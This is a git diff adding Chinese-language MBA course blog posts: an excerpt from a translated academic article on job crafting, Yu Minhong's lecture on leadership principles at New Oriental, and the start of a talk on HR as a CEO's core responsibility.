+那么，除了正向领导力模型，还有哪些工具与方法可以提高我们领导力，塑造具有积极性、前瞻性的组织文化？本节课推荐书目之五《领导力心理学：洞悉人心，激活团队》由英国前空军少校，现为高级管理顾问、领导力讲师的艾伦·卡特勒，深入剖析心理学对于管理公司、领导团队的作用，书中提供了一系列具有实操性的方法及工具，有助于领导者提高管理效率，构建高效、成功的团队。 + +![](/uploads/2019/06/05-85.png) + +拓展阅读 + +管理学会评论 + +2001年，第26卷，第2期，第179-201页 + +重塑工作：促进员工积极地重构职业（节选） + +作者：艾米·瑞斯尼斯基（纽约大学）、简·达顿（密歇根大学） + +我们提出，员工通过改变认知、任务和关系边界，在工作中构建与他人的互动关系，从而重塑工作。这些经过改造的任务和关系结构会改变工作中的设计和社会环境，从而改变工作意义和工作身份。我们提供了一个工作重塑模型，其中详细说明了：(1) 激发这类活动的个人动机；(2) 工作重塑的机会和个人的工作导向如何决定工作重塑的形式；(3)工作重塑形式对个人和组织产生的影响的可能性。 + +一、文献描述 + +组织学领域的研究人员重点关注领域为哪些因素构成工作体验。以往，他们要么聚焦于期望或价值观等个人决定因素，要么着眼于工作任务或工作中的社会互动等职业本身的外部特征。两种观点都极其不重视员工在积极塑造任务和社会关系中所发挥的作用。即便在限制最严格、例行公事的工作中，员工也能够对工作的本质发挥一定影响力。 + +本文的核心前提是将员工日常生活与工作任务联系起来，运用社会建构主义的假设——特别强调“个人对经验世界的心理建构”，最终构建工作体验素材去指导员工日常工作。我们将“工作重塑”定义为个人在工作任务或关系边界中所做出的行为和认知变化。因此，工作重塑是一项行动，执行这项行动的人就是“工作重塑者”。我们的观点阐述了员工重塑工作的可能性、时间点、原因，重塑工作是如何改变员工的工作定位和工作意义。 + +重塑工作涉及改变工作任务和工作关系的边界。改变任务边界意味着改变员工的工作形式和数量，从而改变任务认知边界、改变个人对工作的看法。改变关系边界意思是在执行任务遇到危机时谁有能力谁领导，通过调整工作设计随机应变。 + +工作重塑是一项心理、社会和实际行动，在行动中解读工作的实际边界，并由动力十足的重塑者加以诠释。工作重塑者对工作任务和关系边界采取行动，在这个过程中改变自身的身份和工作意义。通过这种方式，工作重塑者在预先定义的工作背景中为自己创造不同工作。 + +因此，工作重塑是一个充满创造力、即兴发挥的过程，反映个人如何局部调整其工作，所采用的方式为他们所从事的工作及其在工作中的身份创建并维持行之有效的定义。这种重塑对组织究竟是“好”是“坏”，这个问题取决于具体情况。 + +我们提供了一个工作重塑模型，其中详细说明了：(1) 激发这类活动的个人动机；(2) 工作重塑的机遇和个人的工作导向如何决定工作重塑所采用的形式；以及 (3) 工作重塑对个人和组织产生的影响。工作重塑是一种情境化活动，因为这需要组织不同层级、不同背景的员工亲密合作、共同参与。 + +此外，我们也提供了多个工作重塑示例，生动反映了工作重塑的两个方面：(1)员工工作任务的重新安排；以及 (2) 员工形成互动和关系，构成工作中的社会环境。 + +我们对于工作重塑的讨论分为三个步骤。首先，我们展示工作重塑模型，然后陈述工作重塑与相关构念存在哪些差异，它如何以此类概念的子集为基础，从而描述重塑工作的动机和影响。 + +其次，我们提供来自组织学研究中有关工作重塑者实践的六个示例，以便形象地说明我们的模型。再次，我们讨论我们的模型如何为组织学研究做出贡献，提供实际意义，并建议可供未来研究的领域。 + +二、工作重塑模型 + +图1显示了我们的工作重塑模型——其前提是工作重塑的动机以及所感知到组织中存在的重塑机会共同发挥作用，影响工作重塑的形式和程度。我们更为正式地提出，所感知到的重塑机会以及个人的工作和激励导向影响重塑工作的动机。因此，情境和倾向条件影响重塑动机如何创造工作重塑模式。我们在图1中概括了有关工作重塑的一般框架。 + +1.工作重塑的动机 + +工作重塑的动机来源于三个具体需求。首先，员工开展工作重塑是为了宣布对其工作的部分控制权，以避免与工作疏离。其次，员工具备在工作中创造积极自我形象的动机。第三，工作重塑让员工能够实现与他人相关联的基本人类需求。我们将在下文中分别讨论每项需求。 + +对于个人控制权的工作重塑第二项动机。人类对于具备控制权反应良好，即便只是对于看似微小的事务，称为“生活本身的内在需要”。因此，个人会期望对工作的特定方面具备或采取控制权是一项基本的人类需求。疏离工作的标志在于对工作的任务、条件或总体目的没有或几乎没有控制权。工作重塑者通过对其中部分因素发挥控制权或重新制定框架，让工作属于自己。 + +人们还渴望在自己的眼中以及在他人的眼中为自己创造并维持积极的感知。当人们所担任的工作难以构建积极自我形象时，他们（以及人类总体）会产生纠正局势的动机。 + +![](/uploads/2019/06/05-86.png) + +![](/uploads/2019/06/05-87.png) + +图1 工作重塑模型 + +工作重塑的第三项动机与人际关联的需求有关。人类希望铸造与他人的关系纽带，为生命注入意义。有关工作意义的大部分理论都以个体为基础，但我们拓展这一视角，证明员工在工作中与他人建立关系，是为了重新构造工作意义和工作身份。 + +我们所描述的重塑工作的动机补充了有关工作中需求满足作用的其他观点。例如，成长需求强度较高的员工往往对拓展其工作范畴的变化响应良好。 + +但是，我们指出，成长需求强度较高的人士将会为自己重塑边界，而不是对为他们而拓展的任务边界做出积极响应，从而响应自身在工作中实现重塑的动机和机会。因此，工作重塑所针对一系列实践和动态与工作设计理论大相径庭。 + +并不是所有员工都能积极地在工作中实现对控制、积极形象和人际关联的需求。当员工所从事的工作符合他们对控制、积极形象和关联的需求时，他们可能并没有重塑工作的动力，因为目前的工作状态足以满足他们的需求。如果当员工感到自身需求像认为的那样在工作中得到满足，则最有可能产生重塑工作的动机。 + +所感知到的工作重塑机会 + +当员工感知到存在工作重塑的机会时，重塑工作的动机更有可能激发切实的工作重塑。工作重塑的机会具有心理积极性，因为它们暗示着行动自主权（即控制形式）、潜在收益感以及一定程度的行动能力或手段。 + +因此，动力十足的员工会首先评估重塑工作的可行性。工作重塑有两个关键要素：（1）任务相互依赖性的程度和形式；以及（2）通过监督工作中的系统所默认的工作重塑程度。 + +在任何组织中，执行员工任务时都或多或少地存在着任务的相互依赖性。员工的任务相互依赖性越高，其重塑工作的自由度越低。与之相反，相互依赖性低的职业，往往更有利于工作重塑。因此，我们认为与同事之间的相互依赖性越低，能够形成更大的重塑自由度，增加所感知到的工作重塑机会。 + +另外，管理层对员工的管控程度也会影响工作重塑。当管理者要求员工听从指示时，工作重塑可能性较低。当管理者放权员工、员工有工作自主性时，工作重塑就会激发员工创造力。这一论点表明，现代工作场所中存在相互矛盾的作用力，可能会影响重塑模式。 + +工作导向、动机导向和工作重塑 + +个人对于其工作的导向很可能会影响重塑动机和工作重塑行为之间的关系。研究表明，大多数人与工作之间大致存在三种截然不同的关系，即将其视为差事、事业或使命。如果要严格区分，其中的差异在于：工作导向的人聚焦于工作所到来的经济回报，而不是愉悦感或满足感；职业导向的人则着眼于享受带来满足感、对社会有价值的工作。 + +工作导向往往会与工作重塑的动机产生相互作用，会对工作重塑产生积极或消极作用。工作导向让人们能够看到在工作中改变任务和关系的各种可能性。员工可能会以符合自身工作导向的方式调整自己的工作，以截然不同的方式开展工作。 + +例如，在民政服务组织中，具备工作导向的员工可能会聚焦于为了领取薪资而完成任务，而不是帮助尽可能多的人。同样的，秉持职业导向的员工可能会重塑工作，以便能够与比自身更有实力的人互动，提供协助，并且从事对组织有利的高调任务。 + +员工的总体动机导向也可能会影响工作重塑。尤其是，存在内在工作动机（即为了工作而工作）的人可能会从事更广泛的工作重塑，会在工作中发挥自决权（控制）和能力。与之相反，外在工作动机的人（即为了工作本身以外的原因而工作）则可能会限制工作重塑。 + +事实上，研究已经证明，外在动机会造成工作中墨守成规，降低创造力。我们认为，人们可以从工作内部着手工作重塑，从而满足自身的需求。 + +因此，工作和个人特点都影响着工作重塑动机和工作重塑行为之间的关系。当工作和个人特点创造出对工作重塑有利的特点时，就会在存在工作重塑动机的员工中促进更多工作重塑行为。 + +我们提出，感知到工作重塑机会有限或不存在重塑动机的员工从事工作重塑的机会将少于存在此类动机或看到此类机会的员工。工作重塑让个人在工作中表达并运用往往隐藏的自由度，从而加以定制，使其契合他们自身对于理想工作状态的感受。 + +2. 工作重塑的形式 + +表1显示了三种形式的工作重塑。第一种形式涉及改变工作的任务边界。员工通过改变工作中完成的工作任务数量、范围或类型实现这个模式。通过选择完成的任务多于、少于或不同于正式工作中规定的任务，员工能够创造截然不同的工作。 + +![](/uploads/2019/06/05-88.png) + +表1 工作重塑的形式 + +工作重塑的第二种形式要求改变工作的关系边界。这一做法涉及在工作中改变与他人的互动质量或数量，或是同时调整互动质量与数量。员工往往能够决定他们希望就工作与他人互动的频率，也可协助决定此类互动的质量。我们在下文中提供的示例描述了员工如何改变在工作中与他人的参与程度，以改变工作的方式调整此类关系的性质。 + +工作重塑的第三种形式在员工改变对其工作的认知任务边界时发生。改变认知边界可能会采用多种形式，但往往涉及员工如何解析工作的方法——是将其视为一系列离散的工作任务还是一个整体任务。通过这种方式改变对工作的视角，这将根本性地改变员工应对工作的方式。 + +3. 工作重塑对员工的影响 + +工作重塑改变工作任务或关系，其方式让员工能够重新发现工作目的，以新的方式体验工作，从而改变工作任务或关系。当人们感到在工作中值得投入、所做的工作很有价值时，就会形成对于工作的内在意义。 + +通过工作重塑为工作创造或增加意义。 + +通过工作重塑挖掘员工工作潜能。工作重塑有利于员工在工作内外形成良性互动，共同创造与维持个人对自身工作身份的诉求。辛普森说过，“为我们赋予意义，为我们理解自己”。 + +我们的论点基础在于人们选择性地影响与之产生互动的关系伙伴，从而有助于创造可持续的、自由的工作身份。通过塑造在工作中与他人互动的形式和程度，员工参与和他人共同创造自身的工作身份，并且能够营造出满足积极自我评估需求的理想身份。 + +工作重塑者寻求与在工作中作为受众的他人建立关系，希望自身能够为他们维持理想身份。创造工作身份是一项主动过程，其中“人们致力于在自身头脑和现实世界中同时创造支持、验证并引发理想身份形象的环境”。因而，他们选择性地遭遇、感知和影响所应对的情况和受众。 + +员工通过工作重塑而构建的工作意义和身份并非一成不变。员工可能会将这些意义和身份作为有关其重塑活动的反馈，并且可能具备动机，参与额外的工作重塑，以便进一步塑造工作意义和工作身份。 + +例如，一位员工将工作的任务边界调整为增强工作控制权，他可能会此超乎意外地改变了工作的目的，从而激励其他员工通过此方法重塑工作。因此，这位员工可能会将调整后的工作目的作为反馈，从而引导进一步的工作重塑。 + +三、塑造工作的意义 + +我们的工作重塑模型指出员工如何塑造工作意义，从而为以后研究提供文献基础。工作意义有助于形成工作动机和工作绩效。因此，员工为其工作注入意义的流程模型有助于我们了解工作意义。 + +工作重塑模型捕捉了员工和工作之间不断变化的关系，表明对工作中个人和总体工作意义的动态观点。我们认为，通过在工作的任务、关系和认知边界中做出的细微变化，个人在创造工作意义中将发挥积极作用。 + +通过主动重塑工作，员工可在组织中创造不同的轨迹，逐渐地塑造出不同的职业生活。虽然工作重塑行为会在某个职位的任何工作时间点发生，而且与员工在工作中的长期需求以及对工作领域的综合定义密切相关。 + +个人与工作身份 + +工作重塑者是自身工作的主动缔造者，能够实现工作身份的转型。虽然工作重塑的部分要素可能看似属于角色外行为，但更多地扎根于改变身份的过程，重新定义着员工和工作。 + +工作重塑模型有助于身份宿命论者分析基于身份这个动机（即对积极形象的渴望）去改变员工执行和重塑工作的方式。因此，通过工作重塑、构建工作身份，提升员工的工作业绩，并与组织内部成员密切配合、循序渐进开展。 + +我们的工作重塑模型将员工视为积极主动、富有创意的身份缔造者， 他们充分利用在工作环境中潜在的机会，以改变工作身份和工作意义的方式提高个人工作参与度。工作重塑的动机和机会随时会发生变化，所以工作重塑需要慢慢展开。 + +最后，工作重塑者需要与组织其他成员建立积极的关系，这种互动有助于挖掘工作意义。 + +四、工作重塑的实践意义 + +工作重塑本身对于组织来说没有好坏之分。工作重塑行为对组织绩效的贡献程度取决于员工所执行的变革类型以及工作重塑对员工动机和绩效的邻近效应。 + +工作重塑是改变自身工作意义、铸造全新职场身份的途径之一。如果这些意义和身份的构建可以使个人工作模式与组织目标相匹配，那么工作重塑可能就会对组织产生积极效应。反之，如果工作重塑目标与组织目标不一致，那么工作重塑可能降低组织工作效率，影响组织经济效益。重塑对组织的影响还取决于个人工作所处的系统，当个人与组织其他成员在重塑工作上产生分歧，那么就会影响重塑工作的效果 。 + +工作重塑具备重要的管理意义，有助于增强员工管理，但也有可能降低管理者的权威性。工作重塑流程只会受到管理层行为的间接影响。管理者作为工作环境塑造者，会促进或阻碍个人工作重塑，尽管他们不会影响重塑发生的时间和程度。 + +管理者对与工作成果相关的激励机制和实质性奖励具备直接控制权。这些奖励和激励机制可能会鼓励个人改变工作的关系和任务边界。与此同时，管理者还可通过加强或削弱员工对工作重塑的渴望，继而影响组织工作的方式。因此，管理者可以通过奖励制度和工作组织影响工作重塑发生的几率，从而影响个人和组织的发展。 + +管理者还可通过间接手段影响工作重塑。例如，不让那些试图进行工作重塑的员工参与公司战略制定和传达。然而，“战略的制定和传达是关键的管理层任务”，决定可能发生的工作重塑的程度和类型。当员工知晓并接受组织的战略目标时，他们可能会运用这些知识来为自身的工作重塑行为提供动机和合理性。 + +除了思考如何影响工作重塑模式之外，重塑视角也为员工执行工作的所需的技能开辟了新思路。重塑需要投入精力。它往往涉及一系列富有创造力的行动，员工在其中扩大、缩小或转变任务和关系边界。此类活动的发生将有助于组织洽谈项目、进行员工培训。如果组织可以通过重塑工作挖掘员工潜能，将会推动组织创新、提高组织竞争力。 \ No newline at end of file diff --git a/_posts/2019-06-05-406-mba0101.md b/_posts/2019-06-05-406-mba0101.md new file mode 100644 index 0000000..8906105 --- /dev/null +++ b/_posts/2019-06-05-406-mba0101.md @@ -0,0 +1,234 @@ +--- +layout: post +title: 【先导课程模块】 第1节 领导力原则 +pid: 406 +tags: [mba] +--- + +混沌大学2017年商业创新第46课 + +如何把小气的人培养得很大度？ + +如何调动领导者的气场？ + +如何最大限度地避免决策错误？ + +![](/uploads/2019/06/05-89.png) + +创业24年，领导4万余员工的新东方创始人俞敏洪老师，在混沌大学分享了他的领导力心法，全是对人性和商业的洞察的智慧，值得细细体会。 + +授课老师｜俞敏洪 + +新东方创始人、洪泰基金创始合伙人 + +个性原则 + +领导力来自于一个人本身的个性，以及由个性所产生的魅力。 + +这种个性是可以培养的吗？可以。 + +我曾经真的把一个特别小气的人，培养成一个特别大方的人，怎么做到的？我就要求他每个星期必须请人吃饭，吃到穷水尽。他想要跟谁吃饭，如果邀请不到，我帮他邀请，但你就得请人吃饭。 + +对于一个小气的人来说，不断地掏钱这件事情是有难度的，大家不要小看这个事儿，往大扩展，当一个公司做大以后，你愿意不愿意把股权分给大家？愿不愿意把年终奖多分点？与此密切相关。 + +后来这个家伙终于意识到，跟人一起吃饭，变成好朋友，有多么重要，就是他突然发现花钱背后所带来的好处巨大，所以豁然开朗，就变成了一个很大方的人。其实很多时候我们是被自己给局限住了。 + +在个性原则中，与领导力相关的特质，我比较看重以下4点： + +①一个人必须要有主动参与的能力。任何事情，如果你能够主动去参与，而且不太顾忌自己的面子，就表明你有参与能力，这是领导力的第一步。 + +②合群友好。你必须要能够融合到群体中间，才能够有机会得到更好的。 + +③开朗坦诚。 + +④果断坚毅。 + +以上四项，你只要有其中的一到两项，其实就已经奠定了你被人喜欢，被人接纳，以及最后有机会成为领导人的基础。 + +分享原则 + +分享，其实是一群人关注度的基础。 + +我的个性比较大方，小时候在农村就通过把水果糖分给小朋友，让他们跟我一起玩，在潜移默化中成为了小朋友的头。 + +有人问我新东方是怎么做起来的，其实就是一个分糖的过程：你想分到我的糖，你就必须把新东方一起做大，新东方就是这样不断的分配再分配过程中间做大的。 + +但当一个人感觉你背后总是藏着什么东西，让人不能100%信任，你就已经失败了。 + +就是说，你带一帮人，一起干一个事业，但这帮人对你不能100%的信任，总觉得你这个人背后有点猫腻，你的酸甜苦辣也不愿意跟大家分享，而在利益分享的时候，又躲躲闪闪，或者总是被别人强行要求，最后你不得不再拿出来东西的时候，这件事情就麻烦了。 + +有难同当，有福同享，这是无比重要的一件事情。 + +比如越王勾践，当他把吴王府灭掉以后，范蠡就赶快走掉了，因为他觉得越王勾践是一个不能有福共享的人，但文种就觉得这个人没问题，待在了越国，结果被迫自杀。朱元璋跟勾践一样，打下明朝后，把所有底下的大臣全部给杀掉了，但像刘邦、唐太宗、赵匡胤就做的非常好。 + +总而言之，你要作一个真正有气度的领导人。 + +新东方的人对我的感觉还算比较好，是因为他们知道不管怎样伤害我，我都不会报复。到现在为止，新东方的人不管以什么样的方式出走，我从来都没有在公开场合说过他们一句坏话，尽管有的时候，我心里骂了他们一千遍，更加没有做过一件伤害他们的事情。只有这样，你的团队才会有安全感。 + +主导原则 + +主导原则就是指在一种场合，你能够迅速抓住主动权。 + +从小学到中学一直到大学，我当过的唯一一次班干部，是在高考补习班，我被选为班长。 + +怎么被选上的？其实我只做了一件事。当时，大家都是从全县的各个地方来到补习班，群龙无首，教室非常脏，我就抱着一个农村人的勤奋，带领全班同学把教室打扫干净，后来就被选为班长。当时的班主任说，我们班不需要一个成绩好的人当班长，但需要一个愿意为大家服务的人当班长。 + +就是说，你抱着为大家服务的心态，主动去承担某种责任，或者是主动去做某件事情，那么最后，你就能够占据到一个优势地位。 + +当班长这件事情给我带来两个好处： + +①班长成绩要好，这让我最终考上了北大。 + +②我必须要组织他们，对周围所有的同学都好。 + +后来，这个班在我的带领下，40个同学，38个考上了全国重点高校。今天，新东方的CEO周成刚，以及新东方行政总裁李国富，都是我这个班的。天然的威望就在那，要跟着老班长走。 + +所以，主动出手，抓住先机，尤其是在一个陌生的团队中间，非常重要。 + +当然，抓住先机以后，你要寻找一部分的伙伴。比如说我在这个补习班组成了一个核心团队——五六个成绩最好的人的学习团队，去帮助班里落后的人，实现共同进步。 + +后来我做新东方的时候，也是先形成核心团队，然后再通过核心团队去招募周边有能力的人，一层层扩散下去，形成新东方的能力圈。 + +如果说，你没有核心团队，只是你一个人，而其他的人，对你来说只是唯命是从，那么你的力量是爆发不出来的。 + +气场原则 + +要培养领导力，你不能总是跟着人走，一定要宁为鸡头不为牛后，学会避开高压创气场，自创气场。 + +举个例子，我来自农村，在北大的时候，同学的气场都非常大，每个人的能力都比我强，在英语、中文、读书、文艺、体育等成绩上，没法跟我同学比。 + +所以，我在北大的五年，气场一直被压着，即便后来成为北大优秀老师，我依然觉得我的气场被死死压住，因为北大著名教授太多了。 + +我发现这样下去，尽管也有一点发展前景，但永远是一个二流状态，你永远不可能主导北大的任何事情，这也成了我离开北大的主要原因。 + +其实，曾经有两件事给了我很大的信心： + +①在小时候，我是小朋友的头。 + +②在高考补习班，我是个非常有影响力的班长。 + +然而，在北大整整10年，没有产生任何影响力，我就觉得北大不是一个我能发挥能力的地方。 + +有没有发现，当你在某个地方，是一个真正领导人的时候，到另外一个地方，你就只能端茶倒水。比如，我在新东方绝对是一个真正的领导人，但到企业俱乐部活动时，我会自降为柳传志、马云他们倒水的份，而且只有谈到教育话题，我能说几句话，其他时候，他们都是我的老大。 + +当然，当你气场增加以后，你也可以反败为胜，比如我今天在北大，气场还是非常足的，我是北大基金会的常务理事，北大校友会的理事，北大企业家俱乐部的创始人和理事长。就是说，你的能力只能当一个县长的时候，不要想当皇帝，每个人都应该有自知之明。 + +而且，你要避开这种高压气场，自创气场，这件事非常重要。 + +我出来办新东方，开始是一帮下岗老太太跟我干，那我绝对气场压得过他们，后来徐小平、王强进来了，这个气场，我就有点压不住了，你知道吗？后来，之所以还能混下去，是因为徐小平、王强他们才从美国回来，而我已经做了4年，是新东方的唯一创始人。 + +但我的领导力天花板是柔和有余，刚强和果断不足，没有快刀斩乱麻的能力。当王强、徐小平进来后，他们在北大又是我的老师，又是我的班长，我在这方面是盖不住他们的，最后的结果就是他们主导整个局面，我变成“端水倒茶”的。 + +所以，我建议创业者，如果你要拉原来的同学、朋友、哥们一起干的时候，你一定要先干个三四年，把这个公司做到让人感觉到已经成型了，再请他们加入，而不是共创。 + +判断原则 + +为什么新东方最重要的是教学质量？这不是我自己拍脑袋决定的，而是要求所有的人都参与讨论，最后大家达到共识。 + +当然，有人是不认的，后来新东方的几个高层管理干部离开新东方就是因为不认，因为他们有的认为营销是起作用的，只是中间的过程没做好，有的人依然认为要拼命开教学点。 + +但既然大部分人都认为教学质量非常重要，那么，不认可这件事情的，就只能离开。一个团队的一致性非常重要，我是做了比较广泛调研，也做了比较充分的讨论。 + +也就是说，有的时候，我们抓公司很简单，问一个问题就行，如果我们公司只做一件事情，应该首先做哪件？这个问题只要经过广泛讨论以后，你就能够明白，什么是最重要的事情。 + +纠错原则 + +我们个人常常是容易犯错误的，我在新东方也做错了很多决策。但是后来我发现，只要是经过大家讨论过的决策，也有错误，但比例会迅速下降。 + +所以，我在新东方就打造了一个机制监控——7人常委会，任何问题只要有4个人不通过，这件事情就不能干。 + +如果说有4个人都不同意，俞敏洪还要坚持干，所有的损失由俞敏洪个人承担。也就是说，即使全部反对，我还是可以坚持干的，但是得有承担。 + +所以，我在新东方有过被扣掉工资的时候，有过被点名批评的时候，但是也有过我决策做对的时候。 + +当然，这里面还涉及到一个问题，就是别人敢不敢指出你的缺点。在一个公司里，如果有这样的几个人，总是能够勇敢的指出老总的缺点，并且老总还愿意接受，这个公司犯错误的可能性就会减少很多。 + +在新东方，如果我发现做了比较错的事情，我自我批评速度还是比较快的，这带来两个好处： + +①大家心中的压力就会被释放掉，释放掉以后，他们就会比较愿意继续跟着你干。 + +②因为你自我批评，所以带来的是他们也会做自我批评。 + +相互批评，并且是用开玩笑的方式说出来，大家都不会觉得难看，更容易接受，而且，会形成一种风气。 + +这些机制会让公司不走歪。 + +奖励原则 + +我曾经公开批评过下属，但这会带来一个重大问题，下属的面子上很过不去，内心会纠结很长时间，甚至背后会对你产生各种各样的不舒服感。但当你私下把他叫到办公室，直抓缺点的时候，一般来说，他都能够接受，甚至还带有感恩的心理，因为他觉得你是在维护他的面子，让他进步。 + +奖励有两种，虚和实。虚是口头上的表扬和鼓励，实就是现金的奖励。所谓虚实并重，就是要让人感觉到时时有鼓励，并且时时有一个开放的平台在他们的眼前。 + +而且，奖励一定要公开，这样就会给他更大的激励，如果你私下授予，会造成整个团队的猜忌。 + +把所有的奖励都能公开，你自己也会考虑这个奖励是否公平。 + +奖励的频次，不能太高，也不能太低。比如在新东方，每一个季度都会给员工来一次小的鼓励和奖励，进行阶段性认可，到年终结束时，再来一次大的鼓励和奖励。 + +还有，每隔半个月、一个月，你要跟员工有一次面对面的交流，或者说微信交流，鼓励他们，这个非常重要。 + +我对自己有一个规矩，每天不管是通过微信，还是面对面，鼓励的人数不下于5-8个人，因为新东方的核心管理干部有接近150个人，要轮一圈，一个月就过去了。 + +他们最怕的是你把他们给忘了，尤其是派驻在外地的大将，比如到哈尔滨这样冰天雪地的地方，半年都没有一个问候语，只是业绩差的时候打个电话说你这个业绩怎么做的那么差？对方马上就崩溃掉了。 + +掌控原则 + +我告诉大家一句话，千万不要去做你认为掌控不住的事情，以及你认为会出问题的事情。比如现在很多创业公司死掉，为什么？就是因为当你有投资的时候，你突然就变得充满雄心壮志，开发了很多大系统，人员增加好几倍，最后突然发现后续融资跟不上，这是三分之一的创业公司倒闭的重要原因。 + +所以，要学会掌控速度和节奏。当你发现用那些顶尖人才，你有一点把控不住的时候，你宁可用中级人才。你想想，你的公司是要活着，还是被你的顶级人才推翻掉？ + +比如新东方前四年，我用的是中国本地的老师，并没有想把徐小平、王强叫回来，直到能掌控时，才叫他们回来，即使这样，他们还是跟我翻天覆地整了10年，非常不容易。 + +韬光原则 + +当你不行的时候，你怎么办？我来讲一个故事。 + +新东方在合伙人时期，所有的利润当年全部分配完毕，公司是不留利润的。但是，2001年，新东方公司化以后，是以上市公司为指标，利润要留下来，每个人只拿工资。 + +结果就产生了一种误解，说俞敏洪通过上市公司这个结构，把大家的利润收回到公司去，直到最后的结果是，没办法再跟着俞敏洪干了。 + +我当时就提出两个解决方案： + +一种方案是，我把股份全部收回来。他们当时已经分走了新东方50%的股权，我要用5000万人民币把你们的股份收回来。这在当时是一笔大钱，而且我本身其实没这个钱，我要到处去借才能拿到这个钱。这样的话，我一个人做新东方，免得我们天天吵架。 + +另外一个方案是，我把自己45%的股权，全部分给你们，我离开新东方。后来他们想了一想也不行，说你分给我们了，我们互相又要打起来了，还不如我们联合起来一起和你打。 + +但是，他们说俞敏洪没有领导能力这件事情已经被确认了，所以你不要再当董事长了，也不要再当总裁了。后来，我就不当了，我就去管教学，后来说教学也不能管，因为你把所有老师拢在手下，我们极其不安全。所以，在那段时间，我就变成了新东方的普通教学老师。 + +最后他们说，你董事会也不要开了，因为你占45%的股权，你一开董事会，我们大家也不敢讲真话。 + +后来的新东方，有那么2、3年，他们轮流当董事长和总裁，3年以后，他们又把我叫回来说，老俞，我们觉得董事长和总裁真不是人干的，还是你来吧。 + +最后，我又回到了董事长和总裁的位置上，我提了两个要求： + +①如果我上去了，5年之内不要让我下来。 + +②我对新东方的发展必须要有绝对的决策权，我带领新东方发展的目标，就是到美国上市。 + +其实，在最开始，如果我的脾气刚强一点，完全可以让那些人离开，但如果那样，新东方团队当天就散，也就不可能在后来成为一个真正的上市公司。 + +我不能用极端的行为和语言把这个团队给解散掉。沉浸了3年以后，2004年年底，我回到新东方，2005年新东方启动上市，2006年新东方美国纽交所上市。 + +包容原则 + +第一，过线必罚。什么概念？当你的部下违反了原则性问题，是必须罚的，新东方到今天也送了有5、6个员工进了监狱，贪污是绝对不能容忍的。 + +第二，线内包容。如果说是非原则性问题，不管犯多少错误，你都可以包容，哪怕有人侮辱你，哪怕有人作贱你，都没关系。 + +比如，在我们几个合伙人斗争最剧烈的时候，居然有人，而且我知道背后是谁，把我隐私的事情放到了网上公开，这种东西某种意义上是破了底线。但我认为这件事情其实能够解释，一是对方对我感到绝望了，因为新东方的改革步伐，我没有引领好；二是你暴露我的隐私问题，只影响到我个人，没影响到公司发展，不是什么原则性的问题，所以我是可以容忍的。 + +第三，广开言路，有所设计。首先，你周围必须有几个人，至少在心理上面同你平起平坐，敢于指着你的鼻子骂你，比如新东方CEO周成刚。其次，让周成刚这样的同龄人变成舆情传达者。为什么？因为你让一个比我年轻20岁的人指着我的鼻子骂我，这是有巨大难度的，但是周成刚就可以把他们的意见转达给我，说，老俞，这件事情你不能这么干。 + +第四，民主集中。所有外部决策的效率性都是由内部会议的无效所产生的。内部讨论的问题越充分，表面上越无效，越没有结论，其实有的时候越达到了核心问题，一旦这个核心问题达到一致意见，对外执行的时候，你会发现这个公司越能风生水起。 + +*本文根据俞敏洪老师在混沌大学的课程《领导力原则》整理而成，内容仅为全部课程的1/6。 + +俞敏洪老师共分享了24条领导力原则，其他14条领导力原则还包括愿景、目标、人才、团队、回避、齐心、商道、痛点、变革、底线、德行、包容、成长、退身等，比如： + +1、人才原则：为什么新东方的数学逻辑课老师最多？ + +2、回避原则：为什么新东方最终形成了5人董事会？ + +3、痛点原则：为什么有的痛点就是无法形成有效商业模式？ + +4、退身原则：新东方如何选择接班人？ \ No newline at end of file diff --git a/_posts/2019-06-05-407-mba0102.md b/_posts/2019-06-05-407-mba0102.md new file mode 100644 index 0000000..92f937e --- /dev/null +++ b/_posts/2019-06-05-407-mba0102.md @@ -0,0 +1,241 @@ +--- +layout: post +title: 【先导课程模块】 第2节 人力资源是CEO第一工程 +pid: 407 +tags: [mba] +--- +如何激活人的潜能与力量？ + +前阿里政委，创业酵母创始人、CEO张丽俊在混沌大学，结合自身在阿里筹建湖畔学院以及组织部的经历，详细拆解了企业招人、用人的方法论，她认为，一个老板最核心要掌握的能力就是要能读人心。 + +“中国真的进入了一群精英创业的时代，如果你腰上没有三把刀，不要出来混江湖。” + +![](/uploads/2019/06/05-90.png) + +张丽俊在混沌大学授课 + +授课老师｜张丽俊 + +阿里前政委，创业酵母创始人、CEO + +正式开始之前，让我们先来思考三个问题： + +经营一家企业最重要的是什么？ + +管理的本质是什么？ + +HR真的只是HR的事情吗？ + +一般而言，经营一家企业有三个维度，人、财、务，但你一定要知道，人是一切。所有的烦恼都来自于人，各种人让你不顺心，你会焦头烂额，每一次被折磨的都是因为人的问题。 + +流动的人心不变的人性。 + +也就是说，一个老板最核心要掌握的能力就是要有读人心的能力。而管理的本质，我的理解就是通过别人去拿结果。 + +此外，你还要意识到，HR不是HR部门的事情，一定是你自己的事情，每一企业家都首先是首席人力资源官。 + +所以，经过今天的课程，我希望你可以忘掉所谓方法的东西，但是一定要树立“人”的意识，比如每天早上起来，当你想完你的业务时，马上要想另外一个纬度，做这个业务的人行不行，能不能打仗，能不能把这个仗打胜利了，这是最重要的事。 + +一个好的HR，到底应该做什么事情？ + +每一个见过我的老板，基本上都会问我，我到哪里去找一个你这么好的HR？我觉得找不到没关系，好的HR多的是，关键是你能不能帮他。 + +一个好的HR到底该做什么样的事情，才是一个HRVP或者CHO？我认为有这三件事： + +文化传承 + +有没有发现，当员工有100人的时候，你说的那些思想，别人就理解不清楚了？传递会有偏漏，信息会层层递减，你需要用一套好的机制，也就是我们所说的“使命、愿景、价值观”这些文化因素。 + +这不是一个标语，而是管理者以身作则，下面的人感受到以后，也会这么做。 + +跟大家讲下我的故事。我刚进阿里的时候，第一任师傅就是关明生，就是那个创造阿里文化的人，我把他当成毕生的导师。 + +当时，他已经是集团CEO，而我只是做销售的小员工，但他在国外出差，当地时间凌晨2点还会亲自告诉我怎么解答客户的疑问。 + +我人生第一次管团队的时候，带了15个小员工，在此之前，我原来是一个老师，什么都不会，所以我也不知道怎么干。 + +结果，我的团队就很惨，一半月没出过一单，然后这15个人就写了一张A4纸，联名上书要开除我。 + +但幸运的是，倪亮（张丽俊当时的汇报对象）后来找我谈话，是这样说的： + +有人反馈你做得不好，我认为是我的责任，因为我没有辅导你。所以，第一，从明天开始，每天早上你拿笔记本过来，写清楚今天要干什么事情，为什么要做，打算怎么做，我来辅导你；第二，每天晚上你要有一个良好的工作习惯，做完的事情打勾，今日事今日毕；第三，在任何公众场合，我都会支持你。 + 